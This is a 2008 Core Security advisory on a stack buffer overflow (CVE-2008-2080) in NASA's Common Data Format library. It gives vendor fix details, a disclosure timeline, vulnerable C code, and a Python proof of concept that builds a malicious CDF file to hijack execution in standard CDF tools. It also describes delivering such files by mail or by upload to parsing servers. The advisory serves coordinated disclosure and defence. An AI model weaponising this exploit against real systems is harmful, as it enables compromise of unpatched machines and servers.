Date: Mon, 05 May 2008 15:03:53 -0300
From: Core Security Technologies Advisories <advisories@...esecurity.com>
To: bugtraq@...urityfocus.com,  vulnwatch@...nwatch.org, 
	full-disclosure@...ts.grok.org.uk
Subject: CORE-2008-0326: NASA's Common Data Format buffer
	overflow

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

NASA's Common Data Format buffer overflow


*Advisory Information*

Title: NASA's Common Data Format buffer overflow
Advisory ID: CORE-2008-0326
Advisory URL: http://www.coresecurity.com/?action=item&id=2260
Date published: 2008-05-05
Date of last update: 2008-05-05
Vendors contacted: GODDARD Space Flight Center
Release mode: Coordinated release


*Vulnerability Information*

Class: Stack Overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 29045	
CVE Name: CVE-2008-2080	


*Vulnerability Description*

CDF [1] is a common data format developed by the NASA Goddard Space
Flight Center. It is a conceptual data abstraction for storing,
manipulating, and accessing multidimensional data sets. The CDF software
package is used by hundreds of government agencies, universities, and
private and commercial organizations as well as independent researchers
on both national and international levels.

 The CDF Library is vulnerable to a buffer overflow in the stack, which
can be exploited by malicious remote attackers to compromise a user's
system. The vulnerability is caused due to the CDF
('src/lib/cdfread64.c') library not properly sanitizing the length tags
on a CDF file before using it to copy data on a stack buffer. This can
be exploited to get arbitrary code execution by opening a specially
crafted file.


*Vulnerable Packages*

. CDF 3.2 and earlier.


*Non-vulnerable Packages*

. CDF 3.2.1


*Vendor Information, Solutions and Workarounds*

The CDF project has issued a security advisory describing this
vulnerability http://cdf.gsfc.nasa.gov/CDF32_buffer_overflow.html,
partially quoted below.

 The libraries for the scientific data file format, Common Data Format
(CDF) http://cdf.gsfc.nasa.gov/ version 3.2 and earlier, have the
potential for a buffer overflow vulnerability when reading
specially-crafted (invalid) CDF files. If successful, this could trigger
execution of arbitrary code within the context of the CDF-reading
program that could be exploited to compromise a system, or otherwise
crash the program. While it's unlikely that you would open CDFs from
untrusted sources, we recommend everyone upgrade to the latest CDF
libraries on their systems, including the IDL and Matlab plugins. Most
worrisome is any service that enables the general public to submit CDF
files for processing.

 The vulnerability is in the CDF library routines not properly checking
the length tags on a CDF file before copying data to a stack buffer.
Exploitation requires the user to explicitly open a specially-crafted
file. CDF users should not open files from untrusted third parties until
the patch is applied (and continue then to exercise normal caution for
files from untrusted third parties).

 CDF 3.2.1 addresses this vulnerability and introduces further usability
fixes http://cdf.gsfc.nasa.gov/. Updates for Perl, IDL, Matlab and Java
WebStart are also available. Java WebStart applications that refer to
http://sscweb.gsfc.nasa.gov/skteditor/cdf/cdf-latest.jnlp, will
automatically be updated to include this fix the next time the
application is started while connected to the Internet.


*Credits*

This vulnerability was discovered and researched by Alfredo Ortega, from
CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.


*Technical Description / Proof of Concept Code*



 The CDF Library suffers from a buffer overflow in the Stack using a
specially crafted (invalid) CDF input files. If successful, a malicious
third party could trigger execution of arbitrary code within the context
of the application using the library, or otherwise crash the whole
application.

 Exploitation of the CDF overflow problem requires the user to
explicitly open a specially crafted file. The user should refrain from
opening files from untrusted third parties or accessing untrusted Web
sites until the patch is applied.

 The vulnerability resides in the following code at
'src/lib/cdfread64.c'. There, the function Read32s_64 reads data from a
file into a buffer. The 'temp' buffer has a size of 'MAX_READ32s', but
the 'count' parameter is never checked, and a stack overflow will happen
if is it's bigger than 'MAX_READ32s'.

/-----------

57  STATICforIDL Logical Read32s_64 (fp, buffer, count)
58  vFILE *fp;
59  Int32 *buffer;
60  int count;
61  {
62  #if defined(NETWORKbyteORDERcpu)
63    if (count < 1) return TRUE;
64    if (!READv64(buffer,(size_t)4,(size_t)count,fp)) return FALSE;
65  #else
66  #define MAX_READ32s CDF_MAX_DIMS        /* This must be the maximum of
67                                             CDF_MAX_DIMS and
MAX_VXR_ENTRIES
68                                           (and for any other uses of
69                                           `Read32s'). */
70    int i; Int32 temp[MAX_READ32s];
71    if (count < 1) return TRUE;
72    if (!READv64(temp,(size_t)4,(size_t)count,fp)) return FALSE;

- -----------/

 The function 'Read32s_64' is called by 'ReadGDR64', also at
'src/lib/cdfread64.c':

/-----------

256     #if defined(STDARG)
257     STATICforIDL CDFstatus ReadGDR64 (vFILE *fp, OFF_T offset, ...)
258     #else
259     STATICforIDL CDFstatus ReadGDR64 (va_alist)
260     va_dcl
261     #endif
262     {

.
.
.

301           if (!Read32_64(fp,&(fp->GDR64->rNumDims))) return CRE;
302           if (!Read32_64(fp,&(fp->GDR64->NzVars))) return CRE;
303           if (!Read64_64(fp,&(fp->GDR64->UIRhead))) return CRE;
304           if (!Read32_64(fp,&(fp->GDR64->rfuC))) return CRE;
305           if (!Read32_64(fp,&(fp->GDR64->rfuD))) return CRE;
306           if (!Read32_64(fp,&(fp->GDR64->rfuE))) return CRE;
307           if (!Read32s_64(fp,fp->GDR64->rDimSizes,
308                          (int)fp->GDR64->rNumDims)) return CRE;

- -----------/

 We can see that the vulnerable function is called at the line '307'
using the variable 'fp->GDR64->rNumDims' as the vulnerable 'count'
parameter. This variable is controlled by the attacker because is loaded
from the file in the line '301', and is trivial to craft a CDF file that
overwrite the return value on the stack and execute binary code. The
following proof of concept is a python script that creates a CDF file
that triggers the overflow and executes a TRAP instruction when loaded
with various standard CDF tools, like 'cdfstats', 'cdfdump' or 'cdfcvt'.

/-----------

## CDF 3.2 Stack Overflow PoC
##
## Alfredo Ortega, Core Security Exploit Writers Team (EWT)
##
## Work against:
##  cdfstats, cdfdump and cdfcvt
## on the CDF 3.2 distribution compiled on Ubuntu 7.10
##

import struct

trampoline=0x0810ca00
name="bad.cdf"

buffer ='\xcd\xf3\x00\x01\x00\x00\xff\xff\x00\x00\x00\x00\x00\x00\x01\x38'
buffer+='\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x03'
buffer+='\x00\x00\x00\x01\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00'
buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff'
buffer+='\nCommon Data Format (CDF)\n'
buffer+='(C) Copyright 1990-2006 NASA/GSFC\n'
buffer+='Space Physics Data Facility\n'
buffer+='NASA/Goddard Space Flight Center\n'
buffer+='Greenbelt, Maryland 20771 USA\n'
buffer+='(Internet -- CDFSUPPORT@...TSERV.PWND.NASA.GOV)\n'
buffer+='\x00'*0x40
buffer+='\x54\x00\x00\x00\x02\x00\x00\x00\x00'
buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x94\x00\x00\x00\x00'
buffer+='\x00\x00\x05\xd0\x00\x00\x00\x00\x00\x00\x17\x7c\x00\x00\x00\x00'
buffer+='\x00\x00\x00\x03\xff\xff\xff\xff\x00\x00\x01\x00\x00\x00\x00\x03'
buffer+='\x00\x00\x00\x00\x00\x00\x0b\x4a\x00\x00\x00\x00\xff\xff\xff\xff'
buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x08'
buffer+='\x00\x00\x00\x00\x00\x00\x02\xec\x00\x00\x00\x04\x00\x00\x00\x00'
buffer+='\x00\x00\x00\x00\x00\x00\x0a\xae\x00\x00\x00\x00\x00\x00\x0a\xae'
buffer+='\x00\x00\x00\x01\x00\x00\x00\x00'
buffer+=struct.pack("<L",trampoline)
buffer+='\xff\xff\xff\xff'
buffer+='\xff\xff\xff\xff\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff'
buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x54\x69\x6d\x65\x00\x00\x00\x00'

file = open(name,"wb")
file.write(buffer)
file.write("\xcc"*5000000)
file.close()

- -----------/

 Besides the obvious client-side attack vector, where a file in CDF
format is sent by mail to the victim to be opened by him, there are
another, more serious, vectors where the attacker uploads a malformed
CDF file to a server that automatically parses it (an example is the
data translator web service in [2]), possibly leading to arbitrary code
execution on the server side. For example a Java wrapper for the
vulnerable CDF library was developed to use in other environments [3],
by transitivity this wrapper is vulnerable too.


*Report Timeline*

. 2008-04-07: Initial notification sent to the vendor.
. 2008-04-07: Vendor acknowledges and requests the advisory draft.
. 2008-04-07: Core sends the draft of advisory CORE-2008-0326 to vendor.
. 2008-04-07: Vendor acknowledges the draft saying that wants to
coordinate and informs that fixes are been developed.
. 2008-04-10: Core replies that is willing to coordinate the publication
of CORE-2008-0326 and sends the estimated date of release.
. 2008-04-23: Vendor confirms they are working on fixes for various
platforms and plug-ins and requests a delay of the publication
CORE-2008-0326 until May 5th.
. 2008-04-23: Core confirms that the publication will be delayed until
May 5th.
. 2008-05-02: Vendor sends information for the "Vendor, Solutions and
Workarounds Section" explaining all the fixes available.
. 2008-05-05: Core requests vendor to update cross-reference information
on the CDF website regarding advisory CORE-2008-0326.
. 2008-05-05: Core publishes advisory CORE-2008-0326.


*References*

[1] http://cdf.gsfc.nasa.gov/
[2] http://translators.gsfc.nasa.gov/home.jsp
[3] http://cdf.gsfc.nasa.gov/cdfjava_doc/cdf31/index.html


*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.


*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.


*Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFIH0wJyNibggitWa0RAvx7AJ9F2ULHzdfuAmpGehbUniMOUH/+qQCfaggu
kCJMZJzA/vvM7nMEsuDjW5c=
=AmKo
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists